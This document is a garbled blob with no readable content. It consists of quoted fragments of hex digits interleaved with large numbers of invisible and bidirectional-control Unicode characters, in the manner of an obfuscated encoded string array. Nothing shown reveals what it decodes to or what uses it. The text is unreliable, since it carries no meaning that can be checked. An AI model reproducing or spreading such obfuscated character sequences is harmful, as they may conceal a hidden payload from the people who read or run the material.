￶⁡6￱؜؜4឴�','�3⁡⁨‏͏6­￶‪4⁤‮e⁨‬￴‎6￲؜7᠎⁢6￳⁧7‬͏￲','⁠7￳឵￿⁡8­‏‍3⁤￾⁩2￱￲ᅟ7‮⁢9⁦￷͏6‎','‬￰1￷‏7឴￰4‬‍6￲c‌‮7­‌5￾⁤�','�7⁨￸⁦‫0؜￾⁨2￾￶⁦f⁥￷7­5‎ᅟ5​឴9᠎឵5','⁡￿a‭￶⁣6⁢⁥6⁦­5­7￴‌4‌⁢e⁢⁧','6​⁨2￸⁡⁡￷4ᅠ4‭͏7‏￱‎5͏￾7￰9͏￱','4￾‍b￲‫5‮4⁨⁧7឴⁩￿9‭⁡7￱‪‎8ᅠ⁠','￾￾2￱​឴f‫‍7ᅟ⁤1‭⁦؜4￵⁥⁨⁠6￳‬⁤5�','�1‎7⁠឵2​‪2‎b￳⁦￿4⁢­‫4‍4‌‌','￾5឵6ᅟ⁥2⁧‪4‮a‫⁢‭7឵⁨​4឵6￿ᅟ','­b⁨؜⁢5‏ᅟ3￴⁨￷3͏᠎1￵⁨⁥4￿￴9�','��￿6⁣‮឴f￲⁩‎7͏‍‫0⁢￾6‍⁡7⁩￱⁤‏4⁣','⁨‭c⁥￾￿7‏‭2￸‏￴7￷⁢឴￷a￷឴⁩7⁠‎�','�‭7​6￸­c​6⁤￲1￸⁤ᅠ7￲￵4­3‎​1','⁩7￾‍￲​5͏￵3⁩￶3￾‍‎6￲￵5‬￰￵6⁨f�','��￷6ᅟ￴￳8⁩￶3‫￵​6͏⁤￰2￷⁢￾b￱‮‍5','￳￷￶6￷⁡7￳5￵ᅟ؜7⁥￳￿3⁡4​￵b�','�⁠￰6￳⁨᠎a᠎‎7឴⁦5‎￷⁨⁠6‫‬⁢e￰‬�','��77￿￵؜6ᅠ5￱⁥4⁩6￳‮6￰­￵f6�','�‮᠎8⁩￷‏3͏​1͏￷3￿￴8￾⁣￶4⁧￰4�','�￷4‍឴⁥⁡6­­5​᠎឴￳0￰⁦ᅠ4⁢ᅠ￾4‍‎3᠎‮�','�2￰ᅟ⁢⁣3­‫⁥⁧6￵⁣4⁢؜f͏឵⁠3￰­0￿3‎­�','��9￶⁩￳4⁣￾឴c‫‪⁠⁤3⁡1‫‬؜6‮ᅠ‪d⁩⁧','3឵5￳​6￰￳2￲‍6￸⁧f￵￳឵2؜⁥b�','��7⁡؜1⁤￾7⁣4⁡⁡￶5‬‮￿4⁩឵⁧7­⁣9‭','‌6‍1￶5⁣⁢9‍⁡⁠4‮‍­1‫­7￿­�','��1￸￶⁨‪4‏8​⁨​6￱2⁧⁡4ᅠ⁠‏4⁤￾⁢6⁠�','��￰c￱‎4￸⁡￿5⁨￶ᅟ2‏b⁥￸3￶­8‫4‭­7�','�￴4￰￲d‫￵‭7￰᠎4​⁡5￰￾￱0ᅟ‌6‬⁦','d￶3⁢￿឴7؜឴⁧7⁦‍‬￷a￵￲6￾᠎￷1⁣￷ᅠ‎3‏�','��6⁣‮6￾⁥⁢￶e‭￶3￸⁢0‌؜⁢7​‬8‮6￷�','�c￴￳4￿b￿⁢͏6‏⁦6⁨6￶⁣1⁥⁦￵3‌‬','6؜​5￰‭⁥a឵⁨5͏⁣­‪9͏᠎4‫⁧3‍᠎6⁠5‍','‌￰￷6￰1⁤­‮7⁠⁠1⁦⁨3᠎​4⁧ᅠᅟ⁧3⁤⁧�','�1⁩‌3؜2⁨ᅟ⁣⁤3᠎‫￶8￴⁧‌5￳a͏͏3￱�','�⁠⁦3­⁤￿3￶￷⁨2‎⁢6￾‪‫9឴᠎⁥3឵⁣‪8⁥�','��￸4⁢f⁣ᅠ￾7⁥‮2؜7￲‍⁨⁠2ᅟ￾7ᅠ‎͏�','��0‌￳2‍￵f᠎4⁧5͏⁤­6⁦7‎­⁧5͏⁡5ᅠ6','￳͏‏⁩4⁢⁩4឵‫ᅟc⁩4￶‫8‎3ᅠ⁥8⁠￳2‎�','��‭￲f‏4⁨￸⁢b​￿3⁢0­￾‍‪2￿‏b‭؜4⁦￳1�','�ᅟ￲6‬‍⁨7￷‏‬4‬￳6‍⁣￿6ᅠ‫a­￸4￴�','��3￷￳‍7⁡￴8឴⁩￶4‪￶؜5‌3‎￱8￳឵⁩3឴؜','­‮3⁩‍4؜￴‫93￳⁢ᅠ￿8￰‬4⁣1￳3￶�','�3⁨᠎6‍ᅠ‮e⁡￶4‌⁧ᅠ6⁤­6⁥￿￵ᅟb￿�','��5⁣؜￱0឵￰6⁨͏7឴‍5￰8឵3‍⁡⁤6​7‏�','�‭‮0￴ᅠ￲᠎7⁢‎8￲⁥᠎7￿￶6឴￵⁤5￴7￲⁢','5ᅟ⁥5឵￾­6឴￵f⁧‍￲‍6￾￰b￿￰3￱7￷�','��￿7⁢᠎5⁩￰7­‎​⁢1‌᠎⁦6‏؜8￳￷￳6�','��c‎￾7‪a￸￷4⁠⁡4؜⁨᠎6‫⁤⁥￷8឴឵','5͏‭⁠1￵⁠ᅟ4⁠⁠⁠͏3￿‮5⁥‭2⁢4⁡‎‬','b￸￿⁧ᅟ6￿⁣53⁩‫3￴‪4⁥⁩d͏⁦7឴‪4‪','‮3​￲8‫5‫⁩1￷￾5￿⁥؜￷6‪4­e�','�⁣‌2￳⁥b￸￴⁨7⁠0‬6­⁣᠎eᅠ⁩5͏‍͏','3ᅠ⁠឴⁣7⁩⁨8‭​­5⁢⁠⁥2ᅟ‍7⁡0‫￵￶7�','��‌7͏￰3￲￳឴6￲⁧￳5￱​‎5‫឵7￱‍4⁨','6‫ᅠ⁨5‭⁣7᠎‎ᅠ5￷‭6ᅠᅠf￵‪‏4⁤⁥‍b￿￱','7឴ᅟ￿͏8￰ᅟ6￸e￱‎5ᅟ⁠5‎￷6ᅠ￿᠎f͏⁨�','�⁦4͏‪⁠⁧b￷‍5￱6⁠‌7￲3⁧⁨6⁤￷c⁢ᅟ￵','4⁠⁡9￾⁡7￾6⁥￸⁨5‎⁤1￳⁧⁡5￶‎឴᠎2؜�','��4￷c឵឴3‎6‫‌5￿​6‌ᅠ‭5⁢0￲⁧5￶','᠎4￴᠎4￲­f᠎7￸⁠0ᅟᅠ3⁨­9‫‭7᠎‏a⁩￴4','​b⁧⁦4￾឵⁠a‮7￸￿￷￰7឴⁡4ᅠ￿⁩�','�9⁧⁥5឴⁣⁨5᠎⁧4￸឴1⁥￰7‎᠎‌3￰‬7￸8͏�','�￴6⁡￸᠎8⁦￵￰3⁩͏4ᅟ￿⁧ᅠ4￿⁢⁩c‮‌5‭￰4','⁧￰4᠎2￲￸⁤3⁣￱￾5‮⁨￰7؜⁠￰1⁦‎7⁡�','�￳‏0⁣᠎⁣4‎￵b‎￷3⁨⁣￷0​￱6⁡￶⁤5','4⁤⁠fᅠ￳⁢4⁥b⁧⁧4￾‪c6￸￱5឴￳￱6⁥�','�1⁣￶⁤4‎ᅟ‫4឴⁩2ᅟ​f­⁨7⁤⁦2⁨‌6ᅟ','ᅟ￿1­￾2￶bᅠ7￷2឵ᅟ‏7‭᠎0­⁠5￷‫​2⁨�','��‭2⁧⁣f឵￿4￳؜￾‏3‏￳5‎ᅟ6឴�','��7￰ᅟ7⁠4ᅟ￱⁣឵5‫2￳￵‬b­឴7‏￷1�','�⁡‍6‫‪f⁨⁣⁩6⁠⁤5⁠￰6￸⁠f￲￰2￰b⁢�','�2⁠؜￶b⁨7⁢⁤￴￱1￰؜5­⁢8￲￸­5͏￱8⁣�','��⁠ᅟ5​￷8￸⁡5⁤⁡⁡8⁧­‪឴6￶4⁢4￷‫','3⁧￴​4￵­‪8ᅠ‏7­⁠2⁥឵4឴؜e‬‪5⁡‬￳','2⁥᠎6‮⁩￳⁨b⁦​4ᅟ3‌឴‌‏4￱￿⁩3‪⁣�','�4￶￴⁤⁢d￱⁥7￴‭1⁦‍￸4​؜￲f⁢￱￶5￱⁨⁤�','��3឴￰‭6￴؜7ᅟ⁡⁨7￶‭­2​￱7឵؜2‪￳‭￾2�','��f￶᠎2￱￴‏⁣f‭ᅠᅟ6￳⁣᠎b⁦￴￷￰4‬᠎4⁦�','�6‭ᅠ͏￵4⁢­⁥￸3​‌0‏⁥‮⁩7‏1᠎6‫͏ᅟ7�','�⁣⁧5͏￵7​￴⁢؜2‌⁦f឴⁡5￵￲0⁢￱‮3ᅟ�','�8⁤‪6⁣឵￴‫7⁩​￸2⁡͏b⁢‌7؜‫￰⁨3ᅠ�','�⁩4‍​9￵￵6￰6ᅠ⁩4ᅠ￰⁣a͏4￷͏￱9�','��͏3￲͏͏‏1­7‏឴‍឵0￾⁨4⁣￿d￵￲￳7￷‏￱','1‫4‫‭3‬⁨⁩6￴ᅠb‬⁧3￶4￰ᅟ7⁡͏1￱⁢','61⁨￵3­￴8￳‮7‮⁣‮4￵￲4‫⁤‍8‫�','��‎5￸⁨⁣￶a​‍6‪⁥⁣឴1￰؜‮6⁥ᅠ2឵឵⁤7⁡','᠎￴0‮5͏⁩⁢5ᅟ￰5￸឴6‫4‮឵‭8‮￲5�','��￿1￿￿6ᅟ‬‪7￴4‎ᅠ‬8឵￲឴⁧4￶b‭‭�','�6‎2‍‪‍5￾￿￴￰5⁡￵‮7⁠؜⁥26￵‌�','��ᅟd⁢‭⁡6ᅟ￶￾￿3⁠⁥4⁦⁢e͏؜‍6￴᠎1‏‪4᠎','⁦⁧ᅟ5ᅟ‮5‭￶⁨3؜￾5⁧⁣4⁥7⁤⁠‪','a‮￳᠎￰7⁡‭￰9‪￾￳‌6￸⁡5￷￲‫឴3⁦᠎￲4឵�','��7⁨⁣ᅠ￷55­ᅠ￵؜5⁨￱⁤6⁣￶7⁩͏7⁣‎1�','��4⁦5￵‌￷‫4‫2￳￴5￱￳7⁦⁡⁦7ᅠ឵0￿4','͏​‌9‪￶؜5⁩⁩5͏7͏5‮‬⁩⁢7­￶‬￰6឴‫','￳3͏‪￱8⁡2b⁦͏‎2឵⁢b⁣؜⁥⁣7​⁤⁡2￰','‬￸6￴⁨؜2⁤­6⁨6‪5￲0￿‫6‌4￲6�','��￴‫⁨5ᅟ⁤឴6​b឴￸⁡4‪‮1⁧￳￲⁦6‬؜͏1‮�','��4؜‫⁨f￰⁡4‮឵2ᅠ5￳឵a￲⁧￲‪7‫','​a­‌⁩­7ᅠa‎⁡3⁤⁨1‮6⁢͏؜⁢8᠎⁥￴7￰⁠�','��1؜￲￿ᅟ5⁥￰‪5￰⁢5⁡￳‬0‭؜4‫᠎⁤4‏⁢ᅠ‬3','￰‭￰9￵3⁨7￷‏7‎⁩‬⁢5￿‍￵4‏​�','�‍7￱⁠49‭⁣￸ᅠ4ᅟ‫‎a⁦⁢ᅠ6‎￰9‭⁣','⁢­6⁨⁧⁧4⁣￵‪6⁦￸￷b⁢￳͏3⁧‎‍￰8᠎⁢‏4','￿‮f￴‌￵6឴‭f⁣⁡6⁧᠎­d￴⁦‌6͏‭b឵','​3‌￱3￵឴‮4᠎fᅟ⁥⁧7⁡­‪9‫⁥⁣5�','�￶4⁣‬3͏‍‌⁦0￷￵￳3￿͏឴8⁦3⁨​1�','�ᅠ⁧￵6￵c⁠￷5‪￷￿95￲‏1‫5','6‭⁢6￶⁩8‎￰￿⁣4￷e⁢￿4￶؜⁦⁤c�','�឴‭4⁥￿c￶‫7￶‏8‭￲⁥⁨3᠎‮4⁤￴⁣3‎‭￾឵','8￴￸6⁨4￰￱6؜c6⁧￰￰6⁤⁤᠎￾4⁧‪f','ᅟ⁡‎​7⁢⁣6￾⁩­⁨4​឵￴­7­5‪ᅠᅠ2‎⁤￲4�','��؜3឴‮2‏᠎￵b⁣5ᅟ‬᠎a​᠎4⁩￳⁦2￳6�','�ᅠ4⁨￳­⁧4￳‍d￳‍4‬឵b￷7‎⁠a￱឵‭3','‎ᅟ8￷​65￴឴77­￷6￳͏￴d￷᠎4￷�','�f‬⁡⁨5￾឵￿5￶‎⁡​4￲‭e­ᅟ￰6‬‮឵⁨7�','��⁤7‫9ᅟ᠎6​￿⁢8‌⁩6⁧‮c឵឴‬￾5￷⁤�','�7￾4‏33￸￰1￸￴7￲᠎⁡4⁣7⁡⁩1�','��4￰⁦‪‏1‬឵3￰‍­4؜⁡⁦⁩71⁠­⁣6‌b�','��￵‪6￸9‪4￲￱‫1⁧￲⁤7឴￴￾8͏‬7￶','a⁥­￶2‏⁩⁠឵fᅠ⁤6ᅟ￲eᅟ￾7⁣￸1�','�￲⁥3￸‎‪3‌￾3⁨⁨​ᅟ6⁦ᅟ7͏‍￴a឴4‬�','��‫bᅟ7⁣‭9⁦3⁩ᅠ᠎2឵‮‭3‫឴7￿�','�5​‪‏⁣a‎‏￱​4‍឴e￱‎6￲؜⁨4￿؜￵4‬�','�￶⁤2​‍5͏ᅟ2⁦⁦឵6‭ᅟ⁩1￱͏6￿8‮￴5឵‌�','��1‭￶5឵￷‍4‌￴᠎͏5￱￱￲⁢a­￿4឵￷‫b‍4','‭ᅟ￵a­7￾⁠⁡0ᅟ6‬͏‎c‭​⁥7‬￴96­','￳b͏​7￱‭­‭0￴6‬‪­3⁠‌឵‏4ᅟ￸8⁡￵؜4￸�','��2‎͏‌7᠎⁩2⁡7‌‎⁦0‍⁣￸6b￱￾4⁢�','�￰d⁧3‫⁡⁦5឵￳‌7؜‫⁡8‍￱5⁩⁥͏3￵7�','��￵‭6؜⁠6￶4؜￷2‍‍⁠b‪‎7ᅟ᠎3‎‌⁥6','‭⁥dᅠ⁥6ᅠ­￶6؜ᅟ4⁢f⁥￲6឵­3⁩⁥‪⁠7ᅟ￰','8‮6‎￷￴⁦2⁣‫᠎5‏￵8￰4‮‫‬b­‭4‮�','��d￴￳￳3￰ᅠ2￲‎5⁩឵a⁠￵7⁦‌⁡7឵⁨⁤3�','��7￶͏⁠3⁠⁦⁥0‪‎​4᠎87￳￵2͏￸�','��4⁦￾ᅠdᅟ‪­4‪⁢⁧d￵￿7⁧￶‬ᅟ1‮‭⁡6­‏�','��‭6⁩￶5￵￰4￶￾⁨⁧4​‫8‏‭7‎‮6᠎�','�‫6⁣‌‌4⁩￱￳4⁤⁠2‮￳73­⁨͏⁥7⁦ᅟ⁣1⁧�','��5‭￴7￵­2￶⁥b￰‎2￰￷f‫7￸­‮0‮͏�','��3᠎￰￱9￴4‪ᅠ8­￸4‫⁨￷9ᅟ⁠￵￿4⁨￷￾­9','⁩‏᠎6‭d￾⁨￾￸4‪⁢￰￳5⁡5‪⁩￱9‪�','�3‮⁨4឵⁢‫4￲⁣3­⁢5⁨‎2‭឴6‫8⁠‭⁡￴','7￷0‪⁩ᅠ6­￶2￱؜‎​7￷‍a‫‌⁧⁢7⁡­6‬‌‎','6⁢7‪‫‫5؜​‪￾a￷ᅟ឵5͏2￱឵6͏￸‪9‪⁧͏3','­⁦‍3￸‎‏6￵￳2⁦6⁩e￶￶឵4⁦7�','�឴2឴​f‏‭5￵‫￷9ᅠ⁩7͏￱‫7‫‭7￴ᅟ1￷‪','‫3⁢￵⁥7‍￳⁠7￴ᅠ​￿9‏᠎4⁡឴￴3‭⁠⁥�','�6​⁧1ᅠ‭6‫b￷؜￸2￿ᅠ⁥b‎ᅟ￳⁦7￾4','⁥5​؜￵8￱ᅠ6⁢⁡￾‪7‫￸⁣4￰￷‏a‭','‏5᠎⁤0￲‍⁡⁧3⁢⁤5￲឴6ᅟ￿7⁨⁣⁨3­1�','��3​⁤￴￳9‎⁤⁢6￿‫1឵5￸⁦0⁨⁠឵4⁢­','‬⁧d⁠￳7￲᠎6‬⁤4ᅠ­2؜‍‍6‮￳￰b⁣⁨5⁥9￳�','��￷4⁤b឴‍⁡7‬2￶‎3‎​ᅟ⁨8￾￳5⁢2‪�','��￶5‫‮7ᅟ⁠͏⁦4⁡⁩3‬￶￶᠎7￶￴6͏‏‬�','�7⁩⁩￵0⁨᠎⁠឵4‫‫6‌⁧4‍￰‏3‏‬⁠​6‍','⁡5￴⁩⁢7￲​឵‫8￿￰￿⁧4￿￵ᅠ3⁣؜50�','�‪5͏‭9ᅟ4￵‍‏a⁡⁧69᠎⁡឵‫6￸⁩឴a‭','￲‪5‮⁤7⁧￲‮​6‫b‌5឴3؜​3‮0⁡�','��‪3‏‮￲￳2⁩⁨ᅟ￲6‭‮3‫6⁥⁨؜￸e⁩�','��6￷⁠2￷឴‌6￷⁩c￾￾7￵឴឴1឵⁢‭4؜ᅟ','6⁨‮￵⁤5‪￸⁦3⁨￳⁠7￵឴￳￿1­￾5￶￵ᅟ','7⁠‭‪3￴­￱⁢4￶͏6￱᠎9￶￿‭ᅠ7⁥￴￰1','￾￰7឴឵9￶‍3￲‌0‏￲4​᠎​5͏￵5�','�‌6­⁡￷4឵3⁣‏7⁢1⁡‭4‮⁣2⁠�','��3‫‍⁣2⁠⁧4⁠5￷7؜￿ᅠ2￱ᅠ⁥7⁥⁣‪','3ᅟ‬؜4͏⁨2​⁢7‮‏4‏￿7⁢⁦3­5￵‭a͏','⁢⁥3­￴6‌￰⁩7⁡‭8‭឴⁨឴3‌ᅠ2‭‎','‬7‫͏￸‪2￸￱4⁥￸b￸￾￴6⁥￷‮9‏᠎3ᅠ⁣9឴�','��‫6‮‪￶9‮⁤5឴⁢￸a￱⁦7឴ᅠ￰9￿','⁠7￿‭1‭​4￲￰9⁨⁤6⁩‏2‏�','�ᅟ6￸؜￸3឵7​឵7‬￱⁤⁤6⁧⁧‎d￶⁡4￾�','��‍c‎‭￴5⁦￴⁧4￿￶឴5‫ᅟ9⁦឵4‪b￱4⁩�','��￴c‫⁠4‪⁡‭b⁡឵؜3‌￳0​￾5￸‪‫9⁧￷','⁧⁩5￸᠎￶­8‎6⁠‫‭b‭3ᅠ￱￵￷6ᅠ͏6','2‍⁠‮⁥6‫￿‪7‭⁦⁦4⁢￸឵2ᅠ⁧឴7‮⁦8￷�','��‍5￶0ᅟ7ᅠ⁤0͏⁣᠎5​­឵￵63￶᠎­8؜6⁦�','��⁣cᅟ￲4‍￿a‎63⁢؜⁠5ᅠ⁥4￷￶‏6͏‬‫','b￾￱5￾⁨⁢a￱‏‫‌6‬ᅟ￸‪b‮￶⁡‏5᠎￵0⁩⁤⁠5','⁨￳‬᠎1‭￾6⁥￵d​5‫⁧9‬￸4⁦͏f�','�￴ᅠ3￾‭0⁡⁢4ᅟ⁢9￸᠎7￱⁢￶a⁡￴‭5','​​0឵ᅟ⁧឵6؜6￾؜￵7­⁦0⁢ᅟ⁩‮3⁢�','�2￱￴‌‏6￴឴8͏⁡3­឵1‌6￶‫7‬⁨3឵5','￸⁢3؜4‍͏⁡6￳1⁠￵3ᅟ⁥4￶7⁥͏2‎￴￶￰','3￰8￳⁠6￵8￴⁠⁤឵5￳‫￾￸a￶7⁠‬0­�','��⁦5​⁣⁣⁩7⁤⁠7⁢⁣⁨￴5⁠‎6឵￿a؜￴7','⁡￴­￵1￾​5᠎￿1‪⁠⁤4‎⁢⁣⁣2⁧⁢4⁩‫','￾9￾￵5឵‍3‭⁢6ᅠ￴c⁠⁡­⁧6‭￳ᅟ3⁧�','�4￰⁠6⁣￰￷4឴￱‍1‌￶⁨4‬￴b؜­؜5￾ᅟ2￱‪�','�6᠎￵c឴￳6‫⁨1⁡‫3⁣5￷឵￳7‎‎7͏‬','4‫⁩c￸⁩⁩⁥7⁥￸‎0￾3ᅠ⁨8￾5⁨‬2᠎⁠⁩3�','�￱3⁣⁢￿7￱￱a⁡឴4‎‎￱d￿￱￴3⁨​7⁩','￳⁤5⁢⁥‮5‪⁠­2￶⁠bᅟ￰7￱​9￰‪⁩￸5�','�￿￵6឴឵6￳᠎⁤⁨dᅟ‬᠎5￶1￰4⁥‌￶1￱￴','⁦6￷ᅠ4͏￰⁦5­⁩3￷‎⁦​5؜‭6￶4￸⁠7','￷￸7￿⁧24⁧⁧3⁥￰⁠4‫⁢5￸￴7⁡�','��⁧7‌⁢3⁡46‎8‎­2￴‍­f￰�','��7⁧￷឵0؜؜￷5￶5‭4​a⁣⁦5‍￶⁤2᠎‫5⁨�','�͏￿2￴￱⁦4‬᠎7⁡­7؜8͏‌4‪឵4‬⁨￲7','‍⁤9⁦7­￵؜‮a⁣￱6￸￴￱￱2￴‍‍7‪⁧⁣7ᅠ‎','‭ᅠ5￴‫￷0‮6￾a‫⁣᠎⁩4⁢￳￷￿f‬ᅠ3‬�','��‏1⁤⁣͏3￷￳￰8￾឵6￳​3‫⁣⁢5￾3⁢ᅠ4�','�￷￸᠎6⁤‎3⁨͏‬6⁩⁡⁢‎4‪⁠￰5⁠‫6￿e￱￸�','��3⁡4‌￿3‌⁥67⁤⁣7⁣‮6‮⁠3￳­5؜�','�5⁩⁥⁡؜7‭឴￷￸2‌⁩᠎4￰͏￱￷4⁧឴5￲￾￲᠎2�','�⁥7ᅠ￳￾2⁧‫6⁨￲a឵⁩ᅟ5￶￱‌￾3￳ᅟ4￸','5‌‭7⁥⁢1ᅟ￸​3‌‪⁩4⁡⁠6⁧⁢￷d᠎⁨�','��7ᅟ5‍￳6‫‏‫3‎͏‎4‌‏​3‌‮‫￳5‎4�','�‪‭5‌￶‭឵3‎‍7⁢￾‭5͏‍￰4￶￵d‫⁢�','�⁧7⁠￱9‭￶￲឵4￱឴a‬⁢3￿￶￿⁡3￰5⁩￱','5­⁦ᅠ￿5￲7᠎⁡؜4⁦⁡￶e​‏⁩7‎‫￱8‌￿‬','3‬￶⁢2‮⁧5‫￰‫8￶7ᅠ؜￸9⁣⁨6￶b￴6','⁦9⁧￿6​⁡￲4￰￰­⁧3‎​3⁠⁠6￴￰⁦','a￴￳‮7​⁤ᅠ￳22឴؜f‏⁠4￳‭￸5‫឵�','�5͏⁡‍6​⁧‭6​᠎b‫￵￱5͏⁣a​‬4‬⁠6⁤‪7','ᅟ⁣4￱​6￰￱1ᅠ7⁦9⁡5ᅠ‫1‌￶�','��3‮￴￲2‎‬​6‏￰￿b‎‮‫￳6⁤￰f⁣￶6￶�','�c￷6⁧⁠⁧‫3⁢‬⁤￰7⁡2⁡￷឴7￱͏⁠7­�','�؜4‮‪6⁢⁣­3‎‬7⁩⁠⁣‭6⁢￴‪؜5​឵￾￷6᠎⁦','1￰⁧ᅠ4￴￶3​ᅠ5­‮‏9‎⁠2‫￳⁣f⁦​؜឵4ᅠe�','��⁤￸4￸⁢6‮⁢⁩5឴⁧⁡2⁢6឴d​￶7�','�⁨1‫￷឴4‮e⁣⁧5‌‭⁠a￱឵3‍⁢5‪⁡','‌￲6￷ᅠ؜d⁡￶‮6⁥56‌⁧c឴￳‭5‌�','�2؜​￴7ᅟᅠ​22￷᠎⁡f‏7￱‍￿‬0⁤­⁣�','�7⁧⁨‎7؜⁣5‎￾5؜⁣‭‌3‏￸7‪⁩3￲￿￾1⁡�','��7‎⁢2‪￲5￲­ᅠ‫8⁩⁤￱4‪⁨​8ᅟ￳6￶','4⁥⁣6‪￲⁩b​‭6⁨⁡⁢3‎⁣4‮­9᠎͏7�','�ᅠ64⁠6‪឴￵3‎8￷­2￷឵᠎⁨f‍⁩3￰⁦￱','3￰ᅟ￶5￲͏0⁨⁠7​1￶ᅟ4⁠⁡؜6￿᠎6‎⁠‎9�','��⁨‬ᅠ5‌​‭8‭6⁢￱؜9￸‌ᅟ3⁤￵3᠎4','￾⁣5‫⁨5⁢￸⁠8⁣￰4‫­￶1­￾؜⁣6؜⁠2�','�᠎؜3‌឵͏4͏4឴⁤‭4‎￴؜3឵⁧1‪￲­3‮�','�1‌￰3᠎⁦‏8‏​7‏￱ᅟa⁧￳6￲⁦5￳⁩6‫�','�￸a‏‍⁣5￾⁢4⁣￵‏⁨5￶￵0￱￷‎‪4‮8⁦￾‌','4⁣￴⁡64￲឴3⁥￰7￿1￷‭￸￶7⁩￲2￳⁠','‮￴7​‭0⁩᠎7؜‪9⁤͏‎7⁧͏￵ᅟ9­￾⁧3͏⁢‏⁨','2឵‬7ᅠ­￸2‪឵‬‎6⁥‪￵f⁡3‍6￸⁥2�','�⁥‮f‍￳5⁨￴‍⁥6⁡￲5a‌4‫2‬￵￸3�','�￶1‫￰4‮͏឴a￱​⁤￳7￷⁧￸1￶​2ᅟ؜￷f⁧⁦⁥￸4�','��￶឴3؜￷‌⁤5￱‎7ᅟ￷឵⁤6‎⁩1￶‍4⁦d​','‍5⁥‎⁢4￰5‏‭￰⁣3‍￳⁥‪7￷‍឵6‌�','�6‏e⁤⁤4￰‌a឵​￸឵6⁡឴5​؜￲ᅠ4‎⁠឵7','‮6឴​⁡a⁠￵‍5᠎⁩⁢1­5‫6‮឵​7​�','�5￲￰⁩‎4⁠­c⁨឴2‮⁢⁨￶b￲5￵2￴⁥￱￴2','￰￴fᅠ⁡͏‬2⁣b‏4￶2￳⁤᠎4⁡￰￲⁡a�','�‌᠎5‫ᅠa⁡⁦7￵឵￰​4⁣7؜￲⁠4឴⁠�','�4ᅠ᠎9‫­6؜‏ᅟ‌9￵￵5￴‌64￰1⁠‮6￴￵','᠎‫e￰⁨7‮‬‮a⁦⁥⁦3឵￷2឵​‌5‎⁥6‎᠎�','��3⁡‫⁨͏0￳​ᅠ‮6ᅠ⁤⁣7‫3⁤⁦6‎‮⁣4͏￾‬‪3','￰⁨7ᅟ￿3⁢ᅠ4⁡⁡￸​e⁠឵‫7‏​5￳￰⁡5឵�','��8ᅠ⁨ᅟ6‮‏f͏⁢￱​4‏͏d￱ᅟ￶7឴1᠎�','�⁣3᠎ᅠ64‌⁠͏1￳⁠­6￶᠎4￿⁨⁣‍6឴￴‫�','�8￾￿3⁠3⁧឵6￲￿￲d​‫7￲‎4￾￿‪4￴͏','f￴6⁤⁡­᠎6‬͏⁩5‎‬؜3᠎6￾‪⁤1￵‮4','ᅠ؜7￳5￴￳឵2᠎￸￶឵6‫⁠￸￲8­⁡6⁣؜​a�','��‎‌￴4⁡͏f­⁥឴‭5͏​￶9឴￳⁦4­￳a￸�','��￴7‌ᅟ؜1‫؜5‌ᅟ4͏ᅠ5⁨ᅠ5‌￿7⁠឵‭3￲7','￱⁩⁨5￿឴⁢3￰⁤8￶⁦⁤᠎3­9￾‍5⁣‬8�','�͏￷￱6￶⁤￾5ᅟ͏33⁡⁩4ᅟ⁥f‌‫឴5​a�','��￰5­9⁡￾5‮0­‌6⁡‮‮4￱￲4￶⁢￿d‭ᅠ','4឵‪￲⁣2‮ᅠ឴3‪‌‫8឵⁥6￾‬￸2￵￳7‌￸0￳','⁠⁤7⁦1⁦4⁥￱cᅠ￾­4￶8‏‪‮3￸​5�','��￷‌‪5‫‍0‬￲￿5឴￰‌‫6‪ᅠ￷4⁨￰⁥￵8⁨','￷￲7؜0￿឵7⁠؜4‍￰ᅟ￸7⁠￷­a￵5‫9‭᠎','￴6⁥​3‮؜5￱⁠6⁥‭4￵⁨‭b￸￵4￵᠎a­�','�4￱7⁣￵￱4⁠e￳3⁤2⁩⁨7￲⁡￵7�','�‬͏؜2￳￰ᅟf⁥￲⁤4ᅠ‍‎1⁦‬‌6￵e‬͏�','��5឴￸͏a5￵￴8⁡­ᅠ⁦3​‬3⁩᠎3￱‬6⁩⁧','3⁦‍0‌￳‫6؜⁢⁨f⁨⁧⁢3͏⁠6؜‬ᅠ᠎6‌­⁧1�','��​‬͏7឵￲9‮؜⁡5￾‭￴4؜ᅠ5‫a⁧￴￳⁣3￲͏','6⁦‬⁥7ᅠ‮9ᅟ឴6‬⁨‫5￶⁧6‭dᅠ￰4⁡￷‬','7؜6​​3⁦⁥5⁩᠎⁦a឵᠎3؜⁥‮឴4￷͏3￾￴‫','9‭‍7‏￸؜1￰؜‫5‌⁤ᅠ3￲￿ᅠ5⁤9‫￳7￲￱�','�7‫4­c⁩⁣￰‏4￴‍⁩‌3‏‍￶5￳￱‫5‬឵3⁡','￲0⁤7͏᠎1￳ᅠ7⁦‭‪‪9؜2￷‪b­‭ᅠ6','￴￷c⁢⁦3‏ᅟ⁢1￸⁡￶᠎7⁥ᅟ͏ᅟa­឴4‭᠎�','�9͏￴6￱⁡f⁣‪￰6￷9⁦￾؜￶4᠎‭￳1￸�','�6￱‭4⁦￲­6᠎⁥f⁡5⁧ᅠ5⁧‮5￾1','⁩⁤4⁦‬2⁩‍3឵⁣​￵0឴ᅟ3ᅠ8؜','‪5‏‬￵6￵￸6‫￲឴2឴￾6￸⁦⁨d￷⁦⁣7�','��⁦0⁨⁨7￵‬7⁠‮6͏b‌឵7‍8​￵‮4￿‭6�','��⁨￷6￴￴a￷​7⁣3￰￴6͏￱4￰6⁦᠎￿d�','�￴6⁠⁤⁩d឴‎￷‭4‭⁡7⁨⁠￳6­‫c⁤؜‎؜7‌','⁧⁨9￳‮⁩6‭؜‍4⁩⁧‫؜3͏￿0឵⁡‎5⁧6͏�','�⁢5⁥឵᠎⁢3‬￸3￸￶5‌឴4­‏f￵؜​4‫�','�f‏4ᅠ‪ᅠe⁠⁨￳⁡7ᅟ￵⁤6‏4⁤ᅟ‏f','⁣‎⁥5‮￴7￿￰4￾￾7‏⁤3឴‍9￰5⁧឵�','��3‬￶￾4⁠‌5￾￸‍⁨3⁠5⁨7​ᅟ￸4‪�','�￶6⁠‏⁦b‬⁡ᅟ6឴᠎⁢c￸￱￴7‪6͏឵�','�5؜‎3￱6⁡b⁣￲7᠎‎a￴4឵‫⁨f​ᅠ','ᅠ4￱​᠎7​⁥3­⁧⁠⁣7￴4­‌6⁦‌7᠎ᅠ‫','a￳⁣7‫7￳⁠‪⁧7￳6‏⁢7⁨4⁡‫⁤7','‭⁨￵1⁤‍6￵3⁧­4￲‍⁥5­‬3￴‮‭9​','⁣￿4￾￱9￱￷3￶￰⁥3‌￳6‍឴3‫⁦7⁨‪⁩2','⁤6‎￰e‫‫7឵⁩3￷6‌⁠9￲­6᠎‎�','�7⁦‫5⁥a￴￾⁨5‭